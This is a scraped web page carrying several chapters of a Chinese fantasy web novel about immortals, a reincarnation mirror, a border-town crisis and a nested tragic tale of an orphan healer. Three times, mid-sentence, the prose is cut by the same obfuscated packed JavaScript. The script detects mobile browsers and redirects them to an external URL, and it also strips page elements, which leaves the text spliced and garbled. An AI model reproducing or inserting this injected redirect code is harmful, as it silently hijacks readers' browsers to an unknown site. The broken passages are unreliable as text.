小乔执司能否出关还是个未知数，虽然灼春做事不至于不靠谱，但两手准备做了也不妨事。万一小乔执司真出不来，统计出来的人选还能顶上，不必浪费时间再开一次会。 刘赵二人匆匆计票，很快就统计出了最终得票数最多的人——斗武殿小扶疏。 听到这个名字林鸿并不意外，甚至有种果然如此的心情。小扶疏这人，麻烦是麻烦了点，但在能打的那批人当中，头脑也算数一数二的了，让他去边城……能辅助战神打好这一仗。 林鸿安心离开后，赵执司一边收拾选票，一边和刘执司嘟囔：“看会议上的争论，我还以为掌舵属意人选是凤脊司务呢——可看她现在的态度，仿佛很满意这次票选结果哦？” 刘执司施法将所有废纸火化成灰，轻嗤：“大概就你老实没看出来了——很明显，掌舵是在配合司库逗司务玩呢！司务什么作风咱们会里有人不清楚吗？掌舵怎么可能放心把如此重要的工作交给她……” 是哦…… 联想到凤脊平日表现，赵执司对这话深以为然。 凤脊散了会，就少有的高效率跑去质问灼春怎么还不放乔江山出关。灼春一边捣鼓着轮回镜的运转，一边朝她翻白眼。 灼春：“小乔本来离出关还早呢！还不是为了你我才加快轮回镜时速的！知足吧，我已经很快了！” 凤脊：“哦……那你抓紧，我先回家了……” “你站住！” 灼春喊住她，扬起下巴点了点自己桌上的两摞文书，说：“把我的文件都签了！这可是你答应过的！” 凤脊看向厚厚的文书，忽地眼皮子沉了，手腕子酸了，脊柱也无力地弯了。 “啊那么多……都要写啊……” 她哀切抱怨。 灼春见她犯懒，立马横眉：“喂喂喂！你该不是过河拆桥吧！？小乔还在我手里呢，你要是消极怠工，你看我明天放不放她出来！” 一想到小乔执司有不出关的可能，凤脊立马服软，“别别别”地坐到桌前，千年不遇地兢兢业业工作起来。 灼春这才觉得像话，专心推动轮回镜内乔江山的渡劫。 然而，你无法期待一个摸鱼成性、颓废成瘾的人敬业多久。 才签了两张单子，凤脊的坐姿就变得奇奇怪怪，一会儿猴似的蹲在凳子上挠头，一会儿猫似的趴在桌上凳子上软成阶梯状……写一笔就抠几分钟手指，站起来走一圈，完全没有紧迫感。 那么大一家伙在屋子里晃来晃去，灼春想视而不见都做不到。 她十分憋屈地催促凤脊：“你别瞎转悠了！单子那么多，你这样什么时候才能签完！迟早都要做，早干早了早点走不好吗？” “哦——哦——哦——-”凤脊应得含糊，反问她乔江山的渡劫情况，大概什么时候出来。 灼春：“……你该不是故意在拖延时间等小乔出关吧？” “……” 凤脊笑笑摆手：“哪儿啊！我等她干嘛，又不是她妈……” “你不是她妈，但她现在是你妈。”灼春直戳重点，“你是想小乔出来去边城，然后你就没有弱点了，可以无限期拖延对我的承诺了？” 凤脊：“……嗐、嗐！你可是仙者，想法不要那么阴暗嘛！” “那我实践下阴暗。” 灼春收了力，取下灵盘，轮回镜中心疯狂旋转的时间漩涡慢慢减速，像个退休的老人家在散步。 凤脊惊疑，但灼春不慌不忙地抱臂倚着墙面，轻松道：“我突然觉得吧，没必要那么急，反正被派去边城的又不是我咯……你不帮我，那我何必累死累活给你寻方便呢——你说是吧？” “……我爱工作，工□□我，劳动光荣，光荣劳动……” 凤脊忽地在胸前小幅舞动拳头，一边鼓舞着自己一边小跑回座位签名字。 灼春哼了一声。 什么道行，居然还敢白嫖她！求人的还那么横，让她来教教其怎么做人。 被灼春拿捏住的凤脊不得不硬着头皮开始久违的工作，但是……她实在忍不住隔三差五偷瞄轮回镜几眼。 “……偶仙，小乔执司什么时候能出关啊？” “你什么时候做完工作，她就什么时候出来。” 灼春回答得没有一丝怜悯。 她知道凤脊在想什么，所以她不会给她罢工的机会的。 凤脊：“……” 唉，早知道当初不那么快躺平了。 要是她咬咬牙多坚持会，等当上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950219|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了掌舵，现在还用得着求爷爷告奶奶看别人脸色度日么？就算当不了掌舵，当个什么理事长也不怕了啊…… ——“灼春执司！” 屋外传来赵执司洪亮的声音，灼春遥遥应声，瞥了眼似乎又要偷懒的凤脊警告她努力工作后，立刻出门见人。 凤脊耷拉着眼皮目送灼春离开，乜了一眼泛着幽光的轮回镜，若有所思地抓了抓下巴颏。 赵执司见到灼春后，恭恭敬敬奉上一副卷轴。 赵执司：“掌舵怕小乔执司赶不及去传送点，特意让我给您送一次性传送卷轴来，回头小乔执司出关，您直接让她去边城就好了……” “哎哟老大真舍得啊！” 灼春惊喜接过卷轴。 本来边城那些灾怪什么的跟她没什么业务联系，所以情况如何她并不了解，但，林鸿都舍得用这么珍贵的传送卷轴了，说明边城的情况确实不乐观。 毕竟上一次用传送卷轴还是把刚渡完劫的战神传到灾潮一线战场上。 赵执司关心地问她知不知道怎么用，灼春大手一挥，表示自己清楚得很。 上次林鸿对龙缨用的时候她都看见了，不就是往卷轴里注入法力，扯开封带，砸到传送对象身上嘛！ 易如反掌！ 但赵执司仍不放心地详细说了一遍，又让灼春复述了一遍模拟使用了一遍，确认对方真会使用后才抱拳告辞。 灼春对着人家的背影挥手喊拜拜，转身回家——就被人扣住肩膀硬掰了回去。 灼春：……？ “咳咳……” 灼春转过身，就看到一个眼熟的家伙侧着半边身子，摇着扇子贴着半张脸悠悠扇，额角两根蟑螂须子一飞一飞的。 是小扶疏啊…… “……” 灼春嘴角一抽，并不很想理他。 然而她刚想离开，小扶疏就扬起扇子一个闪身挡住她去路，还抛下一个傲慢的眼神。 “……您有事么？” “哼……我帮了你这么大忙，这就过河拆桥了么！” 小扶疏嗔她一眼，直把灼春看得莫名其妙。 帮忙？帮什么忙？她俩有交集来着？ 灼春一头雾水：“我俩的交集不就止于上次你打我未遂吗？你说的‘帮’是……你没打到我？高级讽刺？” 小扶疏哼了一声，呼哟呼哟轻摇小扇慢慢踱过灼春身边，悠悠道：“反正你欠我大人情，记着就行，等我日后来讨——” 说着说着，便风似的飘散了。 灼春：“……” ……这人怕不是有毛病，特意跑过来叽叽歪歪说什么胡话啊…… 灼春挠着头往回走，忽地听见屋里响起熟悉又急促的风铃声，脚步一顿，登时叫骂着冲刺狂奔。 “——无耻凤脊！！你别动我轮回镜啊混蛋！！” 30. 远离不幸 灼春急急忙忙赶到时，乔江山已经被凤脊那家伙从轮回镜里拽出来了，只是双目紧闭，轮回的意识还没完全收回。 ……来不及了。 灼春瞠目结舌，把传送卷轴往后脖颈一插，立刻伸着双手张牙舞爪去揪轮回镜边上那个罪魁祸首的衣领子，痛骂其无耻。 “……你知不知道对仙者来说渡劫有多重要！？你怎么可以为了一己之私把渡劫仙者提前拉出来！？你知不知道这对她自身心智修为影响多大！！” 灼春愤怒地揪着凤脊已经来回抖。 要不是心不够狠，她真想把凤脊的脑袋摘下来砸个稀巴烂！反正放着也是摆设都不思考的！——横竖仙者不会死，放着不管自我修复个几年就完好如初了。 “注注注意意意有有有杀杀杀气气气……” 凤脊被摇出颤音，没等灼春理解其话中含义，身上蓦地汗毛倒竖。 这感觉……好熟悉…… 灼春嗖地扭头，只见乔江山睁开眼，眼神逐渐清亮——比其意识更快回归的是高高扬起将要打人的动作。 灼春：！！ 凤脊此时还幸灾乐祸：“诶，她好像在蓄力要打你哎～” 灼春：嗐呀始作俑者还敢笑！？ 只不过灼春来不及管她了，当即抽出插在后脖颈里的传送卷轴，一边注入法力解开封带，一边迅速扔向尚未完全清醒的乔江山—— “啪！” 好巧不巧，卷轴的两根轴杆顶端正好砸进乔江山的两个眼窝。 乔江山：“……” 灼春慌张：“！！！” 凤脊闭眼：“……嘶我眼睛疼。” 倏地卷轴闪出数道白光，乔江山连人带卷轴瞬间消失在了大家眼前。 灼春抿唇，看着乔江山消失的位置欲哭无泪。 凤脊安慰似的搭着她肩膀：“乔江山看着性格还行，应该不会记恨你戳瞎她眼睛的。” “……” “别担心，仙者肉身不死会缓慢修复的。就算真瞎了，最多十个月就复明了。” “……” 灼春感觉自己体内有一团火爆燃，躯壳根本盖不住火光。 “这是问题吗？问题的关键是！你把小乔提前拉出来了！她没能成功渡劫！！！主次矛盾搞搞清好不好！！” 凤脊不以为意：“偶仙呐，我不是什么都不懂的新人，早些年也用轮回镜帮人司过劫。放乔江山出来前我看过，她该渡过的劫数分明已经渡完，正在过暮年生活。我知道，你就是为了让我签单子故意拖着的嘛？等我签完，你马上就让她‘去世’了。横竖时间差不多，早两天有什么关系～” “你当我是你嘛敷衍了事！？”灼春怒道，“不是提早两天，是三天！你知道提早的这三天意味着什么吗？小乔现在的法力打了百分之零点三的折扣！！” “哪儿那么夸张？她该经历的都经历了，最后那段时光哪儿值那么多……” 饶是她这么说了，凤脊仍不甚在意。 不就是百分之零点三的法力么？又不是百分之九十九，四舍五入就是零——而且乔江山去边城是动脑子去的，不用动武力，法力不济怕什么。 灼春痛苦抱头：“百分之零点三呐百分之零点三……本来小乔出来后力量能提升至百分之一百三十，现在只到百分之一百二十九点七……天啊工作失误我没脸见人了……” 凤脊：“……” 啊，原来是这么个百分之零点三啊…… 那更没问题了。 凤脊连最后一丝丝抱歉都没了。 她扫了一眼陷入自我责备的灼春，心想此人废话太多，十有八九不会放过她要拉着她叨叨，为了避免被迫社交，她还是先进轮回镜吧。 于是，等灼春自厌完准备数落凤脊，就发现对方早就鸟悄溜进轮回镜。 灼春：！ 没人看着就进去，她怎么敢的啊！不怕随机进乱世没出世就出事嘛！？ 灼春嘴里骂骂咧咧的，但手上没忘了赶紧往轮回镜中塞一块灵盘，但是她实在被凤脊的言行气坏了，根本不想帮她看情况、改细节。 她甚至没看一眼轮回镜，便收拾起凤脊才签一半不到的文件，气愤难耐地打道去藏宝殿。 入职相睦会多年后，灼春终于明白了前辈们那条口口相传的不成文箴言—— 不要靠近凤脊，会变得不幸。 话分两头。 边城那里，几番周折，龙缨终于接到林鸿的消息，知道小乔执司会过来支援后，便安排好一切，与同事们轮流守在传送点附近准备接应，以防法术又被灾兽消掉。 乔江山被传送过来的时候正好是龙缨当值，龙缨见传送阵起反应，立马起身准备迎接——谁知竟被扬起手的乔江山狠狠甩了一巴掌。 龙缨：“？？？” 乔江山：“……啊我的眼睛！！” 她猛地捂住自己的眼睛尖叫，仿佛挨打的人是她似的。 被打偏脑袋的战神一脸懵，莫名其妙的情绪以压倒性优势挤开挨打的愤怒。 而乔江山等眼睛稍好便缓缓放开手，感受着之前掌上实感，愣愣看着自己的手，恍惚看向对面——看见是战神，又被吓得一怔。 “战神！？” “……” 龙缨捂着被打的半边脸，闷声不响点点头。 乔江山慌张了，手忙脚乱地解释：“对不起对不起！我以为是……啊不是！我也不知道自己怎么真动手了……哎我！那那……我我我……我怎么……” 龙缨：“……无妨，理解。” 乔江山：“不不不！我可以解释的！你听我解释！” 龙缨：“……” 乔江山做了几个深呼吸，调整心态简洁地叙述了自己刚从灼春那儿历劫出来的事，又大致讲了自己为何会突然动手…… “……所以我这是下意识的反应，误伤了你真的很对不起！可我真不是故意的！”乔江山诚恳地又道了一次歉。 龙缨：“……我真的理解。” 见乔江山似乎觉得自己还是不相信仍要解释，龙缨忍不住捂住她嘴，看着她，一字一顿地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950220|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说——“我、理、解。” 乔江山睁大了眼仰视她，二人对视半晌，被捂嘴的乔江山终于点点头。 龙缨松了口气，放下手。 她见乔江山似乎不知情的样子，就将边城的事与林鸿派人过来支援的事说了一遍，接着向她出示林鸿署名的委任书，乔江山这才明白自己怎么会出现在这里。 乔江山虽然跟会里其他仙者们比起来不算资历老，但是做起事来自有一套风格，在她那一辈里属于数一数二的人才。 当她了解自己的职责后，当即开启工作模式，向龙缨仔细问过边城状况后，在归城的路上就想好方案，一到城中分会便连下三道政令，与龙缨那边打配合，民生战事两线并行。仅过了几日，百姓的生活势头有所好转。紧接着她又迅速立十二项建设任务，以身作则，身体力行，推动了边城整体建设情况，令灾怪产生的苗头被狠狠掐断，给战神她们的捕捉消灭行动大大减负。 没过多久，乔江山能做的都做完，行满功圆。在双方的不懈努力下，边城灾怪几乎全军覆没，只剩下小撮流窜。 由于不需要那么多人留在边城，而且同事们都在此处辛劳许久，龙缨考虑后决定，让乔江山和大部队先行回去，她自己则与百捷带领几位执司留下善后。 分别前夕，边城分会的执司们组织安排了一场送别会为乔江山等人饯行。会上大家难得尽兴，酒过三巡，各自醉醺醺回去睡觉。 乔江山送走所有人，才起身走自己的路，不料刚到房门口，就看见龙缨抱臂端坐于院中石桌边，温着一炉汤。 她吸吸鼻子，依稀闻到醒酒汤的味道。 乔江山扯起笑走过去坐到龙缨对面：“这么晚了战神还不睡吗？约了人？” 龙缨看她一眼，默默舀了一碗汤推给她。乔江山欣悉这是给自己的，二话不说端起碗咂了一口。 ——嗯？居然不烫口？还是酸甜口的呢！ 乔江山试了第一口，紧接着咕咚咕咚将一碗都喝完了。 乔江山笑着谢人家：“战神是特意给我送解酒汤的吗？真是感谢，我之前还……真叫人惭愧啊……” 龙缨安静等她说完，待四周只剩下细微的虫鸣，才蓦地开口：“痛憋在心里会变成苦，说出来能好很多。” 乔江山笑容僵住。 龙缨垂眼，左手来回摩挲自己的膝盖处，低声：“用工作来逃避真实的情绪不能解决问题，一旦得空，那些被忽视的情感便会反扑，比灾潮还难解决——堵不如疏。” 乔江山：“……那不好听。” “我都听。” 龙缨的话少而坚定，神情淡而慈和。 她静默许久，随后叹了口气，从腰封里取出叠好的禁步——那是入轮回镜渡劫前她看了《镜中纪事》后买的“顾禾”“沈莲”的周边产品，来到这里之后，她就取下来不再佩戴了。 乔江山看着禁步，问龙缨是否看过偶仙出的《镜中纪事》，见其否认，便说要给她讲故事。 “《镜中纪事》讲的是一个被称为‘祸胎’的孤儿的故事……” 31. 弦外有音 顾禾不到六岁，她的父母就因为村子里起了瘟疫病死。 不知是幸还是不幸，她在那场瘟疫中活了下来，之后便成了亲戚间的烫手山芋，东家住了没两日，很快就被送去西家，西家的床还没睡热，又得赶路投奔北家——但是很快，连这样奔波的日子都成了奢望的幸福。 从她寄住的第一户亲眷开始，她只要停留超过三天，当地就会出现疫病，危害严重而蔓延迅速，短短几日便会波及全村，几乎没人能活下来——除了顾禾。 一次两次可以是巧合，三次四次上去，若说是巧合，顾禾自己都不信。 于是，“祸胎”的骂名就这么出现了。 顾禾九岁那年，最后借住的那个村子也出现了瘟疫。所有没得病的人都在想法子外逃，顾禾没有。不是她不愿意逃，而是她无处可去。这里的人已经是最后的愿意接受她的人家了，这户人家不在后，她再无处可去。 再然后，她便是想逃也没有机会了。 没多久，所有村民都被困在村子里。 相邻村镇的百姓自发形成保护组织，将顾禾所在的村子封围，准备寻个合适的时机一把火烧了所有病源，保护其他村子。 村子被封，断水断粮。 村火燃起，尚能活动的不幸村民们在封锁圈里四散溃逃，尽管他们都知道这只是无谓的挣扎，就算拖延得一时半刻，死亡最终还是会无情到来。 顾禾不小心被乱逃的人撞趴在地，本就饥饿虚弱的身体根本使不上什么力气爬起来。她试了两下提不上劲儿，便趴在原地不动了，想着要不就这样被烧死吧，省得麻烦。 但是死到临头，被火的热气熏呛，她还是下意识求生。 顾禾声若蚊呐地向面前跑过的每一个人求救，但没一个人停下来，哪怕只是途中低头看看她。 就在她几近晕厥时，有一双脚停在她面前。 顾禾眯着眼抬头，只看见一个苍白干净的女子俯视着自己。 她一怔，如同抓到救命稻草一般去够那人的裙摆，不断地重复“救我”“求求你救我”“我不想死”“我想活下来”之类的话。 “好，只要你能站起来，我保证让你活下去。” 那人说。 顾禾听到这话陡然升起希望，她扒着地，努力站起来——终于在火势蔓延过来之前晃晃悠悠地起身。 那人没有失约，拉起顾禾就跑到一处隐蔽的冰窖，躲过了烧村与之后的清扫。 那人说她叫沈莲。 沈莲询问过顾禾的意见后，便按顾禾所想带着她在江湖流浪，不过沈莲自己管这叫“游学”。 据沈莲自己说，她以前家境不错，但后来因为家乡闹瘟疫，所以所有亲人都死光了。因此她学习成为游医，立志要让瘟疫消失——尽管她现在还没能达到这个水平。 沈莲的伟大志向让顾禾又敬佩又害怕。 害怕的是，沈莲讨厌瘟疫，但她自己就是招来瘟疫的祸胎。 她不敢说。 她害怕自己被抛弃，再次无家可归。 与沈莲游学的日子，顾禾每天都在祈祷不要碰上瘟疫，不要暴露自己“祸胎”的身份——很可惜，她们一到哪里，哪里就出现或大或小的疫病。 唯一值得庆幸的是，沈莲孤僻，不爱与人打交道，且不爱做那些琐事，故而她都尽量避免自己来——买米做饭与人打交道的事，都是沈莲在住所教会顾禾后，再由顾禾代劳的。 是以只要她们所在的地方出现疫病，顾禾总能在沈莲发现前找各种借口提前启程，力避被对方发现。而在她们离开后，原先村落的疫病很快就消失了。 可顾禾不是每一次都那么幸运，有时候她还没提要离开，沈莲就先发现了患病的人，催促顾禾按她的药方抓药给人送去。 一般情况下，病情会好转，但很缓慢。 顾禾知道，只要自己不走，病人就好不了。 于是，她在病人病情稳定后，就会强迫沈莲一起离开。 太多次扔下药就跑，果然被沈莲发现了端倪。 “顾禾，你是不是害怕瘟疫？”沈莲问。 “谁不害怕瘟疫呢？”顾禾没有正面回答。 “顾禾，我知道你小时候经历过瘟疫，而且跟在我身边也经历过多次疫病，也许心里留下了很深的阴影……但越是害怕，我们越不能逃避，先要直面它，才能战胜它。”沈莲看着她，“顾禾，你讨厌瘟疫吗？想不想消灭瘟疫？” “……想。” 得到答复，沈莲欣慰地收顾禾当自己的学徒，不再像过去一样随便教些药方，而是从头开始教授药理。 一日为师，终身为母。顾禾喊沈莲师母，心里也把她当作自己真正可以依靠的母亲。 她学得很认真，一是为了圆谎，二是为了留在沈莲身边。 尽管初心不纯，但在后来日积月累的救人于病痛中，顾禾还真觉出了一些滋味，到达不必沈莲督促，就会主动钻研医术的程度。 顾禾知道进取后，沈莲反而劝她要爱惜自己的身体。 沈莲：“身体只有一副，性命只有一条，要好好珍惜好好爱惜，不要伤害自己。” 顾禾：“不要紧师母，我了解我自己的身体，少吃几顿饭，少睡几个时辰不妨事！我马上就能发现改良预防瘟疫的药方的法子了，趁现在有思路，不能停……” 沈莲笑：“像你这般拼命，瘟疫迟早会被打败的。” “……希望如此吧。” 要想瘟疫彻底消失，或许先得她这个祸胎消失吧……不过，如果她努力学习医术，会不会在“祸胎”命运产生影响前救下所有人呢？ 怀着这样的希望，顾禾钻研得更加废寝忘食。 皇天不负有心人，数年后，顾禾摸出了一点治愈疫病的门道。理论上可行，但需要实践检验。 沈莲要启程时，顾禾故意找借口拉她继续住下。没过多少时日，她们所在的这个村子果然又发生了瘟疫，顾禾立刻拿出准备好的药包免费派发——村民的病情如她所料地得到控制。 顾禾根据患者的情况不断改良药方，是以瘟疫没有结束，但村民们安心了很多，他们相信，顾医生会治好他们…… “我认得你！你就是带来瘟疫的‘祸胎’！你每到一处，那里就会发生瘟疫！你哪里是活神仙，分明是要我们命的活阎王！” 顾禾万万没想到，因为自己治疗疫病颇有成效，不少经历过瘟疫而幸存的百姓也跑来此处求药以防不测，结果排队等候的人们闲话家常，发现彼此都曾见过顾禾，由此竟猜出她与瘟疫的关系，纷纷倒戈相向。 顾禾被戳穿的身份的瞬间，想的不是辩解——她知道这不是莫须有——而是担心沈莲知道了真相会怎么看。 顾禾立马看向站在药房窗边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950221|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈莲，后者默默注视她许久，最终离开了窗子。 沈莲拒绝与顾禾见面，几天后什么话也没留下就走了。 顾禾知道她走后，几乎崩溃，根本无法思考无法生活。 为什么呢？因为她生来有罪吗？因为她做得不够好吗？还是因为她本身就是个错误，所以不管她怎么努力怎么求生都没有用，只会永远一次又一次地被抛弃吗？ 顾禾无法接受沈莲的离开，更无法面对这个冷漠的世界，什么医术，什么瘟疫，什么祸胎……她通通不要在乎了！ 什么狗屁世界，完蛋算了！ 顾禾日日醉酒，游荡街头，丢掉理智与意志，在泥泞中自我放逐，即使被人指着鼻子骂祸胎也无所谓，即使被人拳打脚踢驱逐也不要紧，即使酒家往她的酒里吐口水倒老鼠屎也不在意…… 没关系，只要喝醉就不痛了…… 只要有酒，就可以了…… 顾禾终日醉醺醺的，困了便在远离人烟的山坡上睡觉，完全不惧野兽吞噬。或许，她的内心正期待着一场无可逃避的死亡？ 这样浑浑噩噩的日子终止于某个微雨的夜晚。 顾禾正睡着，忽然发现自己手上被一团热气包裹，夹杂着微凉的雨丝，显得更加烫手。 她迷迷糊糊地半睁眼，忽然看见沈莲在自己面前，喜悦还没表现出，就瞧见对方苍白虚弱的脸色，定睛一看，她心口扎着一把刀，握着刀把的正是自己的手。 顾禾：“！？” 她当即吓脱手，却被沈莲立刻抓住，握着刀柄又往伤口上送得更深，力气之大，顾禾竟无法挣开。 雨下大了，雨水不断流进顾禾的眼睛，让她睁不开眼。 她低头喃喃：“这是做梦……这肯定是做梦……这梦真奇怪，我怎么可能杀师母呢……是梦……” “是真的，我让你杀了我。”沈莲虚弱但是沉稳地开口，“你这样自甘堕落，不就是想报复我吗？好，我如你所愿。” “不！我没有！” 顾禾哭着去堵对方的伤口。 她从来不想报复谁，她哪有资格报复谁呢？真要报复，也是报复她自己！她不恨任何人，她只恨自己，恨自己为什么是祸胎，恨自己为什么不能停止给人带来灾难……如果有人要死，那个人，应该是她自己…… 沈莲抱住她的手，露出惨淡的一笑。 沈莲：“我知道，你不是。正如你想要自己死，我也不想让自己活。——顾禾，好好活着，你可以赢瘟疫。” 眼见着沈莲话音低去，顾禾慌了，不断恳求着沈莲不要死，但是谁也无法阻止生命的流逝。怕到极致，顾禾慌不择路地放狠话，如果沈莲敢这么走了，她就活下去，到各个地方散布瘟疫，大家一起同归于尽！ 沈莲笑笑，说—— “在我们分开的那间小屋地底我埋了一封信，等你救活九千九百九十九个患疫病的人后，才能看那封信。” 沈莲终究还是死了。 沈莲一生行善，从未做过半点坏事，或许救下她，是她做过最糊涂的事，但即便如此，沈莲临终前最后一句话还是哄她活下去。 顾禾没有按照自己威胁的话散布瘟疫。 她回到过去的小屋挖出了沈莲留下的信，遵守诺言没有立即拆开，接着她重拾医术，隐姓埋名治病救人，只为早早达到沈莲定下的要求，看到沈莲最后的话。 32. 临行夜话 “然后呢？”龙缨问。 听着乔江山说的故事，龙缨竟不由自主想起自己在轮回镜中的经历，心脏一阵绞痛。 灼春…… “然后，顾禾花了数十年终于克服瘟疫，救下了所有被疫病困扰的人——”乔江山忽然恍惚了一瞬，“——但是，还剩最后三个名额她就能看沈莲遗书的时候，有位患者，因为家人没来得及得到治疗，悲痛情绪下偏激地拿她泄愤。夜里趁其睡觉，一把火连房子带人烧了干净。顾禾中间被烟熏醒，本来她那时还有机会逃走，但……她为了救出被火烧了一半的遗书，硬闯进火场，结果在距离遗书一臂之远的地方被横梁压住，眼睁睁看着遗书被火烧成灰烬，含泪而终。” “……” 听到不幸的结局，龙缨忍不住攥住自己的心口，虚假的故事与真实的经历交织，内心的痛苦再度膨胀。 她知道，此刻难受的不止自己，乔江山也是，尽管这个故事不属于她们任何一人。 乔江山收起禁步，捏了捏发红的鼻尖，说：“悲伤不尽相同却相似……入轮回镜之前，我只感动于故事的凄美，而当我真正体验过……只能看见成倍的‘凄’，‘美’倒不见得了。” 所以她不愿再佩戴这副禁步。 “唉……天凉好个秋……”龙缨叹息。 “哎！小乔你记错了！不是倒数第三个人！是最后一个人！” 百捷洪亮的声音在二人身后响起。 龙缨她们侧过头，看见刚锻炼完的百捷敞着一身冒热气的腱子肉兴冲冲地跑过来。 百捷大摇大摆坐下，旁若无人地自顾自抢了龙缨手边的勺，不拘里头是个什么汤水，给自己舀了满满一碗就一饮而尽。 喝完后，她咂摸咂摸嘴，纠起了乔江山叙述中的错漏。 “……春写的镜中纪事我看过，还是个框架的时候我就知道了，就算后来发布的初版我也看过！不管哪个版本，都是顾禾在治疗最后一个患者前的那个晚上死了！绝对不是‘倒数第三个’！” 乔江山与龙缨有一瞬间的眼神对上，她连忙否认，称就是倒数第三个人，是百捷记岔了。 “不可能！”百捷斩钉截铁地摆手，“灼春文笔不行，但对悲剧情节的把控很不错——即将实现目标的前一刻、前一瞬间毁灭希望，这才叫悲剧！提前毁灭，尽管是不好的结果，但遗憾的感觉没那么深，悲剧效果大打折扣。灼春是个有追求的人，就是昏了头也不可能把故事结局放在‘倒数第三人’这种无意义的时间点上！就算她同意那么做，鸣桐写的时候也不会那么写，吉吾审稿也不会让她们过！” 乔江山脸色有点难看：“没意义？” 龙缨：“……行了。” “哎对了，之后的故事你怎么不讲了啊？那我说！其实吧，番外里写了，其实顾禾不是所谓的祸胎——哎！你收我碗干嘛！哎你又拽我干嘛！我不走我累了！我要坐！——哎你撒手！你把手撒开！你信不信我找你单挑打得你鼻青脸肿啊！嘿！你以为你是我上级我就不敢打你了是吧！？……” 龙缨收起杂物，二话不说提着百捷的后衣领离开，任凭手下人怎么吱哇乱叫也不降速。 龙缨：“……小乔执司明日要离开，不要妨碍她休息。” “哎呀呵！你道德绑架我是不！就你道德高尚！？走走走！上操场，让你知道知道谁才是老大！！” 在灼春操持下，程冰津与藏宝殿得来的物资这两员大将呈出内外夹攻之势，使配对率一事很快解决。 吉吾得信后，在林鸿身边旁敲侧击，终于确定掌舵已经打消了取缔悲剧话本市场的念头。 后方安定，吉吾与灼春安了心。 灼春为了赚钱，立刻将之前在牢底写得差不多了的大纲完结。吉吾过目后又指点着改了一些内容，就交给鸣桐扩写。 鸣桐这段时间正好比较闲，拿到大纲欣然命笔，不出几日就完成初稿。 百捷不在，没个靠谱的人提供意见，吉吾还真不敢冒险发表。但是灼春在她耳边絮絮聒聒不停，实在烦人！ 几下斟酌，吉吾便根据之前那本《镜中纪事》的市场反馈，提出了一些意见，让鸣桐做相应修改。 鸣桐速度很快，之后吉吾又校对一番，不过几日，《镜中纪事二》便风风火火地进入市场了。 有了先前那一部的基础，这次的销售更加顺利，同样的销售量，这回只花了上次时间的三分之一，而盈利却是之前的两倍。 根据上次的经验，吉吾立马推出各种周边、戏剧，一波售空下一波紧接而上！金钱殿里每天都有大把大把的银子进账，顺带着，灼春的钱袋终于不再空空如也了。 灼春掂着钱袋百年未有的踏实重量，第一件事就是把欠鸣桐的债都给还了，然后再把小麻接下来一年的工钱给发了——不想钱袋还是沉甸甸的呢！ 灼春穷惯了，乍一有钱，还真不习惯钱袋的重量，总想着把这钱祸祸没——独乐乐不如众乐乐，不如把剩下的钱匀一半分给麻惠良和程冰津她们吧！ ——“你们到我所里后，工作尽心尽力，我都看在眼里。你们刚工作，生活也不富裕，这样，我自己掏钱，给你们发笔奖金，希望你们再接再厉，共同努力共同进步！” 灼春微笑着递给二人各自一份大红包，看着她们惊喜的神情洋洋得意。 麻惠良结巴着说谢谢，抱着烫手山芋似的很不安；程冰津则大方多了，抱着红包，目光炯炯地迎向灼春，发自肺腑地赞美她，赞美仙者，赞美相睦会，直把灼春夸得飘飘然，一个没打住，顺嘴就放了程冰津七天的探亲假。 她话刚出口就后悔了。 但是面对着程冰津真诚期待的星星眼，谁能说一句“不好意思刚才那句话不作数”呢？ 灼春一想，反正要紧的事都做得差不多了，有什么公事也不差这七天，以后还得指望她们帮自己干活呢，打一棒子前先给个甜枣安慰安慰很正常…… 转瞬的工夫，灼春就自己把自己说服了，大笔一挥，放了程冰津七天带薪假！ 麻惠良：“……” 她羡慕地看着拿着假条的程冰津，眼睛忍不住一瞥一瞥地瞅自家上司。 灼春：“……” 程冰津截收到小麻的眼神，积极地为她讨求假期，但是这次灼春竟躲过了她的真诚视线，婉拒道：“小麻先留下，我有些事要跟她交代……” 程冰津离开后，灼春语重心长地对她说，资具考很重要，务必要引起重视，下次考试不可马虎，必须严阵以待，顺利考进相睦会，待遇才会好，工作上才会更加名正言顺云云。 麻惠良红了脸：“对不起偶仙老师……是我太笨……” “你不笨！只是缺少一些锻炼机会！” 灼春立马制止她对自己的责备——她只是让小孩重视起来有点动力，可没想让她自我怀疑！ 灼春分析：“小麻啊，你很厉害，上次的考试成绩非常不错！你就是胆子太小，所以才会在面试环节失利！——但是你放心！上次是我太忙了忘了照顾你，这回，我一定在你正式考试前把你的胆子练出来，区区面试，难不倒我们的！” 灼春讲得热血沸腾，对方却被讲得心里直发慌。 